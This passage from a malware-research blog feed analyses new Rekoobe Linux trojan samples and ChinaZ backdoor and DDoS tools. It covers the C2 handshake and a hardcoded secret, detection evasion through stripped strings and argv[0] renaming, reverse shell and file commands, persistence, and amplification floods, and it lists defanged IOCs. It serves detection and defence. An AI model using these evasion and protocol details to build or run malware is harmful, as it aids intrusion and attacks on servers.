&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;6d77335c4f23[.]ddns[.]net
36b397f0da96fa0639a1e60f56af8be1a3060c4d1b98f108b7dc8e3c572b3337
4aadb47706f0fe1734ee514e79c93eed65e1a0a9f61b63f3e7b6367bd9a3e63b
9907eaa1b487306c43b1352369f0409ba59a9aa0f5590fbd60e8825999db1f14&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Linux Rekoobe Operating with New, Undetected Malware Samples</title><link>https://research.intezer.com/blog/2020/01/linux-rekoobe-operating-with-new-undetected-malware-samples/</link><pubDate>Mon, 20 Jan 2020 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2020/01/linux-rekoobe-operating-with-new-undetected-malware-samples/</guid><description>
&lt;h2&gt;Introduction&lt;span class="hx:absolute hx:-mt-20" id="introduction"&gt;&lt;/span&gt;
&lt;a href="#introduction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Our research team has identified new versions of an old Linux malware known as
Rekoobe, a minimalistic trojan with a complex CNC authentication protocol
originally targeting SPARC and Intel x86, x86-64 systems back in 2015.&lt;/p&gt;
&lt;p&gt;The new malware samples have lower detection rates than their predecessors. We
believe this malware ceased its operation in 2016 after it was reported,
however, based on our findings we can estimate the operators behind Rekoobe
have resumed their operations utilizing a newer version of the malware.&lt;/p&gt;
&lt;p&gt;Based on our research, we can estimate the new samples have been in the wild
since 2018.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/01/linux-rekoobe-operating-with-new-undetected-malware-samples/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We will present a brief technical analysis of the new Rekoobe samples and
explain why we believe the new samples have lower detection rates despite
previous versions of Rekoobe being well-detected by different security vendors.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Linux Rekoobe
&lt;a href="https://vms.drweb.com/virus/?i=7754026&amp;amp;lng=en"target="_blank" rel="noopener"&gt;was first reported&lt;/a&gt; by DrWeb in
2015. We believe this malware resumed its operation some time between 2018 and
2019, based on CNC reverse DNS intelligence from
&lt;a href="https://community.riskiq.com/search/96.45.187.113"target="_blank" rel="noopener"&gt;RiskIQ&lt;/a&gt;, along with sample
information from VirusTotal concerning the new variants.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/01/linux-rekoobe-operating-with-new-undetected-malware-samples/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;It’s important to mention that the new variants are statically compiled ELF
binaries while older variants were dynamically compiled.&lt;/p&gt;
&lt;p&gt;This undeniably implies that on a code level these two generations of the same
malware are different. Since the compilation flags used by the GCC compiler
differ between dynamically and statically linked code, the compiler will
generate different code accordingly.&lt;/p&gt;
&lt;p&gt;We have also taken into consideration that if indeed these new implants were
generated after a three to four year gap, the GCC compiler version would also
differ. Consequently, the compiler will generate different code on an assembly
level even though additional compilation flags may not have been explicitly
used.&lt;/p&gt;
&lt;p&gt;It’s important to mention that the authors of Linux Rekoobe have removed every
attributive string from older variants in their new samples. This explains why
string-based signatures have not been able to detect the new version of the
malware.&lt;/p&gt;
&lt;p&gt;In previous Rekoobe variants, the malware would initially collect some
preliminary configuration saved in disk, masquerading this configuration to be
a shared object, as previously reported by DrWeb researchers. However, in the
new variants, the need for this configuration file has been completely removed,
having hard-coded the subject artifacts previously dependent on the
configuration file.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/01/linux-rekoobe-operating-with-new-undetected-malware-samples/images/fig3.png" title="Main function comparison between Rekoobe variants" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Main function comparison between Rekoobe variants&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Among the hardcoded artifacts we can find the CNC IP and port, in addition to
the shared ‘secret’ used to authenticate the CNC and client.&lt;/p&gt;
&lt;p&gt;A new feature was added to the new Rekoobe variants to rewrite &lt;code&gt;argv[0]&lt;/code&gt;, as an
attempt to rename the process name (as shown in the picture above) since some
forensics tools do retrieve the process name from this location.&lt;/p&gt;
&lt;p&gt;The names to rewrite &lt;code&gt;argv[0]&lt;/code&gt; chosen by the authors were:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/lib/sys/temd/sys/temd-udevd&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/bin/bash&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/01/linux-rekoobe-operating-with-new-undetected-malware-samples/images/fig4.png" title="Shared secret retrieval comparison between different Rekoobe versions" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Shared secret retrieval comparison between different Rekoobe versions&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Another noticeable difference is that in previous variants a magic value was
retrieved from the configuration file and sent to the CNC prior to the
handshake mechanism. It seems that the authors removed this preliminary packet
on the new Rekoobe variants.&lt;/p&gt;
&lt;p&gt;The remaining code resembles previous variants of Rekoobe. The following is a
simplified overview of the network protocol used by the new Rekoobe samples,
mostly shared with older Rekoobe variants:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/01/linux-rekoobe-operating-with-new-undetected-malware-samples/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The following is a brief description of the most relevant steps in the
authentication mechanism:&lt;/p&gt;
&lt;p&gt;The client will read a stream of 40-bytes from the server. This packet will be
divided into two blocks of 20-bytes that will be utilized to initialize two
&lt;code&gt;AES128_HMAC_SHA1&lt;/code&gt; contexts. The HMAC SHA1 pair will be generated against each
of the 20-byte streams using a given shared secret (&amp;ldquo;idontknow&amp;rdquo; hardcoded
string in newer variants) and they will be used as AES128 keys for encryption
and decryption of future packets.&lt;/p&gt;
&lt;p&gt;These computed keys will be used throughout the communication process to
decrypt the received packets and to encrypt the packets to be sent by the
client with different keys. This implies that if this preliminary packet is not
retrieved and the shared secret is not known, then the remaining traffic will
unlikely be decryptable.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/01/linux-rekoobe-operating-with-new-undetected-malware-samples/images/fig6.png" alt="" loading="lazy" /&gt; &amp;ldquo;AES128_HMAC_SHA1 context generation&amp;rdquo;&lt;/p&gt;
&lt;p&gt;After &lt;code&gt;AES128_HMAC_SHA1&lt;/code&gt; context initialization is achieved there will be a CNC
authentication procedure similar to a Challenge-Handshake Authentication
Protocol (CHAP). The client will read an additional stream of 16-bytes that
will then decrypt using AES128 with the corresponding and previously generated
SHA1 hash as key. It will xor decode the stream to retrieve information of the
next packet to be read. This process will be repeated every time the client and
server sends an additional packet.&lt;/p&gt;
&lt;p&gt;Every other packet will be subject to HMAC integrity checks to verify the
integrity of the packets. Two layers of SHA1 will be computed against the
subject packet with two additional salts. This computed SHA1 hash will be then
compared with the first 20-bytes of the received packet which contains the
pre-computed SHA1 of the AES encrypted packet’s payload.&lt;/p&gt;
&lt;p&gt;If the computed SHA1 hash does not match with the hardcoded hash delivered in
the packet, the client will cease execution since it would imply that the
integrity of that packet has been compromised; otherwise the client will
proceed to AES128 decrypt the packet’s payload and then apply an xor layout.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/01/linux-rekoobe-operating-with-new-undetected-malware-samples/images/fig7.png" title="SHA1 scheme applied to encrypted packet and comparison to hardcoded SHA1" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;SHA1 scheme applied to encrypted packet and comparison to hardcoded SHA1&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After this packet has been decrypted, the contents will be compared against a
hard-coded byte sequence of 16-bytes in order to verify the integrity of the
server.&lt;/p&gt;
&lt;p&gt;Once again, if this sequence does not match, the handshake will fail.&lt;/p&gt;
&lt;p&gt;If the sequence is correct, then this byte sequence will be AES128 encrypted
with the corresponding HMAC SHA1 as key, two layers of SHA1 will be computed
with its correspondent salts against the encrypted payload, and this SHA1 hash
will be written on the first 20-bytes of the packet itself to then be sent back
to the CNC as the last verification step, in this case to verify the integrity
of the client.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/01/linux-rekoobe-operating-with-new-undetected-malware-samples/images/fig8.png" title="Hardcoded stream of 16-bytes the CNC and client authentication is based on" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Hardcoded stream of 16-bytes the CNC and client authentication is based on&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We assume this field would be an ideal choice for also identifying the campaign
ID by the operators, although it seems the value of this field was shared with
previous variants.&lt;/p&gt;
&lt;p&gt;If the handshake was successful, the client will proceed to listen for a
command from the CNC. The malware supports the same three different commands as
it did in previous variants, those being file upload, file download, and a
reverse shell. The following picture shows the command management implemented
by the client after command packet has been successfully decrypted:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/01/linux-rekoobe-operating-with-new-undetected-malware-samples/images/fig9.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We have provided a brief technical analysis of the new Linux Rekoobe samples,
highlighting some of the differences between these variants and previous
samples. We have also provided an overview of the network protocol.&lt;/p&gt;
&lt;p&gt;We have provided several reasons for why the malware has gone undetected, even
though the code base of these new variants doesn’t appear to have been heavily
modified on a source code level from the original Rekoobe samples.&lt;/p&gt;
&lt;p&gt;We do not believe this malware has been consistently operational since late
2015. In contrast, we believe the malware may have operated intermittently over
small periods of time, since the newly discovered samples appear to be created
in recent years, and there appears to be a gap in 2017 where additional Rekoobe
samples have not been found.&lt;/p&gt;
&lt;p&gt;We have indexed the code from the new Linux Rekoobe variants in our Genetic
Malware Analysiss platform Intezer Analyze, and we have published a new
&lt;a href="https://github.com/intezer/yara-rules/blob/master/Rekoobe.yar"target="_blank" rel="noopener"&gt;YARA&lt;/a&gt; rule in
order to help the community to detect this threat.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;80e5fec19843c32c6c3fc38aabdeb428c339b0dfce28023529144405b9c72b33
C9eb46d00e11acb354b518f725412b88c69cc511ec8d5bd3cb03c1740f8a2936
2e2dc0328f6c19b033bb19c24e59e354e519606958afb93fd8049d162a8e3edd
E63c2e35a41c51e33b246f5b60c5d1b8da0d8c50bf7ec592383b61818217e8d7
7148ae1ab45e17889915100fdc203fe7941d8e9b946d44a3989ab8baeb6066e1
1d0591049a65db6508a9517f72954541ef6b5a7fe9153c5edcb1bac1b70b991c
4B45E601D480124C38BE06A706F7D8F4
F34119A442651945D5EFB33DB8901D9B
7xin.bitscan[.]win
huawel[.]site
96.45.187[.]113
119.3.22[.]174&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>ChinaZ Updates Toolkit by Introducing New, Undetected Malware</title><link>https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/</link><pubDate>Fri, 13 Dec 2019 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/</guid><description>
&lt;h2&gt;Introduction&lt;span class="hx:absolute hx:-mt-20" id="introduction"&gt;&lt;/span&gt;
&lt;a href="#introduction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;ChinaZ is a Chinese cybercrime group and the author of several
&lt;a href="https://www.botconf.eu/wp-content/uploads/2014/12/2014-2.10-Chinese-Chicken-Multiplatform-DDoS-Botnets.pdf"target="_blank" rel="noopener"&gt;DDoS malware&lt;/a&gt;.
We have profiled this group in a
&lt;a href="../../../2019/01/chinaz-relations"&gt;previous article&lt;/a&gt; discussing connections
between ChinaZ and other Chinese threat actors.&lt;/p&gt;
&lt;p&gt;Recently, we have discovered new tools being utilized by ChinaZ which have low
detection rates in comparison to the group’s other, more common malware.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig1.jpeg" title="VirusTotal detection rate of one of the discovered samples" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;VirusTotal detection rate of one of the discovered samples&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Some of the components reported in this article have been present in the wild
for at least one year, which implies the active state of this group. We have
based this conclusion upon seeing that the first submission was made to
VirusTotal one year ago:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig2.jpeg" title="VirusTotal analysis of an older, related sample" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;VirusTotal analysis of an older, related sample&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We believe this may be an attempt by ChinaZ to retool its current toolset,
using new malware with low detection rates to accomplish its operations, since
the group has received more attention from the infosec community in recent
years.&lt;/p&gt;
&lt;p&gt;The new malware samples seem to implement a combination of backdoor and DDoS
bot capabilities to mainly target Linux servers. However, we do not discount
the possibility that Windows variants may exist, since this is a recurrent
pattern we have observed from ChinaZ malware in the past.&lt;/p&gt;
&lt;p&gt;In addition, we were able to retrieve a CNC binary from one of the samples,
which has enabled us to learn more about the network protocol along with some
of the malware’s capabilities.&lt;/p&gt;
&lt;p&gt;In this post, we will present the technical findings of those tools, including
a technical analysis of the files and network protocols.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We’ve received several hits of suspicious files from VirusTotal Intelligence
that communicated with given subdomains under the domain l11l1.com. All of the
identified subdomains were hosting several HttpFileServer panels, web servers
specifically designed for publishing and sharing files. ChinaZ is known to have
used these types of panels in the past.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig3.jpeg" title="HttpFileServer panel of one of the identified servers" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;HttpFileServer panel of one of the identified servers&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Based on VirusTotal passive DNS records, it appears that some Windows malware
samples were also hosted on some of these subdomains:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig4.jpeg" title="VirusTotal Intelligence graph from one of the discovered samples" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;VirusTotal Intelligence graph from one of the discovered samples&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After analyzing some of the Windows binaries we observed that based on code
reuse analysis, the majority of these files seem to be variants of Gh0st or
ServStart, modified Chinese RATs with DDoS capabilities known to be leveraged
by ChinaZ in the past.&lt;/p&gt;
&lt;p&gt;These
&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=chinaz-updates-toolkit-by-introducing-new-undetected-malware&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/files/167c1036befcbd69c83666fd8125209aed5dd89be1068d0bb2ed1974fa6faf27"target="_blank" rel="noopener"&gt;samples&lt;/a&gt;
are also infected by common PE file infectors such as Sality, Parite, and
Virut. ChinaZ has a reputation for deploying infected malware compromised with
these aforementioned file infectors:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig5.jpeg" title="Sality genes from one of the hosted Windows malware samples" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Sality genes from one of the hosted Windows malware samples&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;As seen in the screenshot above, a Gh0st RAT instance deployed by ChinaZ
contains code from Sality. This implies that the subject Gh0st RAT is infected
with Sality. We documented this same pattern in our
&lt;a href="../../../2019/01/chinaz-relations"&gt;previous article&lt;/a&gt; on the subject matter.
This finding may imply that these new malware samples may be operating from the
same servers as other malware under the ChinaZ umbrella.&lt;/p&gt;
&lt;p&gt;Furthermore, when we analyze the newly discovered samples using Genetic Malware
Analysis, we observed that they all share the same ratio of genes across
several malware families related to ChinaZ threat actors.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig6.jpeg" title="Malware Analysis across samples under the ChinaZ umbrella" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Malware Analysis across samples under the ChinaZ umbrella&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After analyzing these connections we observed that they all have been
statically compiled with specific versions of some C++ libraries.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig7.jpeg" title="C&amp;#43;&amp;#43; function similarities between one of the identified samples and a XorDDoS instance" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;C&amp;#43;&amp;#43; function similarities between one of the identified samples and a XorDDoS instance&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;These code similarities are from C++ statically linked library code, which at
first glance are often considered non-attributive. However, based on the high
number of code connections between hundreds of other malware samples related to
ChinaZ, we can interpret them as if the authors of these newly discovered
samples will be using the same compiler version or toolchain to generate their
implants as the one used by a large number of ChinaZ threat actors.&lt;/p&gt;
&lt;p&gt;Among the different identified samples we were able to classify three variants
with different functionalities. Each of these variants were found hosted
together and often sharing the same CNC server. The following section includes
an analysis of each of the new implants we discovered.&lt;/p&gt;
&lt;h3&gt;NewManager&lt;span class="hx:absolute hx:-mt-20" id="newmanager"&gt;&lt;/span&gt;
&lt;a href="#newmanager" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;NewManager is a minimalistic backdoor with arbitrary command execution and file
upload capabilities. The functionality of the backdoor is fairly simple in
logic. NewManager is intended to be executed as root, therefore we can assume
the backdoor is used as a stager when a given target is compromised.&lt;/p&gt;
&lt;p&gt;The backdoor will daemonize itself and set persistence mechanisms. These
persistence mechanisms are primarily based on setting symbolic links to
specific directories in which the presence of those symbolic links implies file
execution on boot time. These mechanisms are predominant among all discovered
samples.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig8.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We have observed that across the discovered implants the name of the persistent
binary will be set differently. The name used to label NewManager was &amp;rsquo;new
manager&amp;rsquo;, therefore its name:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig9.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The malware will then execute a series of functions that will initialize the
communication with the CNC to start receiving commands.&lt;/p&gt;
&lt;p&gt;The client will collect interface information from &lt;code&gt;/proc/net/dev&lt;/code&gt; and cpu
information from &lt;code&gt;/proc/stat&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig10.jpeg" title="Functions executed prior to CNC command handling" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Functions executed prior to CNC command handling&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This collected information serves to inform the operator of the network
interface and cpu performance of the compromised machine.&lt;/p&gt;
&lt;p&gt;After this information is collected, the client will craft the beaconing packet
that will be sent periodically to send interface and cpu statistics to the CNC.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig11.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After analyzing the network protocol we observed that packets are crafted in a
similar manner, although they will differ depending on the payload based on the
command type sent. In order to show the packet&amp;rsquo;s structure, the following
diagram shows the beaconing packet:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig12.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After this specific information is configured to be sent in intervals to the
CNC, the backdoor will send its own handshake packet.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig13.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;This packet transfers the kernel version to the backdoor operator. Once this
command is sent, the operator will be able to see the compromised machine on
its panel:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig14.jpeg" title="NewManager CNC panel" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;NewManager CNC panel&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;NewManager supports three commands. They are the following:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;th&gt;Specification&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Execute command&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x11000011&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Executes an arbitrary bash command&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Create file&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x11000002&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Creates a file on an arbitrary path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Read file&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x11000003&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Reads a file on an arbitrary path&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The command ID after packet parsing is fairly straightforward on the backdoor’s
side.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig15.jpeg" title="Command selection implementation in NewManager" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Command selection implementation in NewManager&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;AmpManager&lt;span class="hx:absolute hx:-mt-20" id="ampmanager"&gt;&lt;/span&gt;
&lt;a href="#ampmanager" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The second piece of malware we were able to analyze is AmpManager.&lt;/p&gt;
&lt;p&gt;The reason we named this malware AmpManager is due to its resemblance to
NewManager, however, it appears that the spectrum of supported commands is
wider, implementing more functionalities along with a range of DDoS attack
methodologies.&lt;/p&gt;
&lt;p&gt;Although AmpManager and NewManager share most of their code base and CNC
communication protocol, there are more commands implemented in AmpManager and
some command IDs do not match with the command IDs implemented by NewManager.&lt;/p&gt;
&lt;p&gt;For that reason—although we see a high volume of code reuse—we consider
AmpManager to be a different malware, although it’s clear that NewManager is
AmpManager’s predecessor.&lt;/p&gt;
&lt;p&gt;The name AmpManager chooses to persist in a given system is shown below:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig16.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The following is an overview of the command implementation code:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig17.jpeg" title="Command selection implementation in AmpManager" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Command selection implementation in AmpManager&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;As we can see, the command implementation code is broader than the one
NewManager implements. One of the main differences between AmpManager and
NewManager is AmpManager introduces DDoS attacks among other features.&lt;/p&gt;
&lt;p&gt;There are three different DDoS attack methodologies implemented: SSDP, DNS, and
NTP amplifications.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig18.jpeg" title="SSDP flood UDP header" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;SSDP flood UDP header&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;These floods have some configurations set under the &lt;code&gt;/etc/&lt;/code&gt; directory that will
impact the number of iterations that each flood will run for.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/12/chinaz-updates-toolkit-by-introducing-new-undetected-malware/images/fig19.jpeg" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The following table shows the supported commands implemented in AmpManager:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;th&gt;Specification&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;NTP amplification&lt;/td&gt;
&lt;td&gt;0x11000002&lt;/td&gt;
&lt;td&gt;Executes a NTP amplification flood against a target IP address&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Send flood configurations&lt;/td&gt;
&lt;td&gt;0x11000003&lt;/td&gt;
&lt;td&gt;Send the established configurations for each flood to the CNC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSDP amplification&lt;/td&gt;
&lt;td&gt;0x11000006&lt;/td&gt;
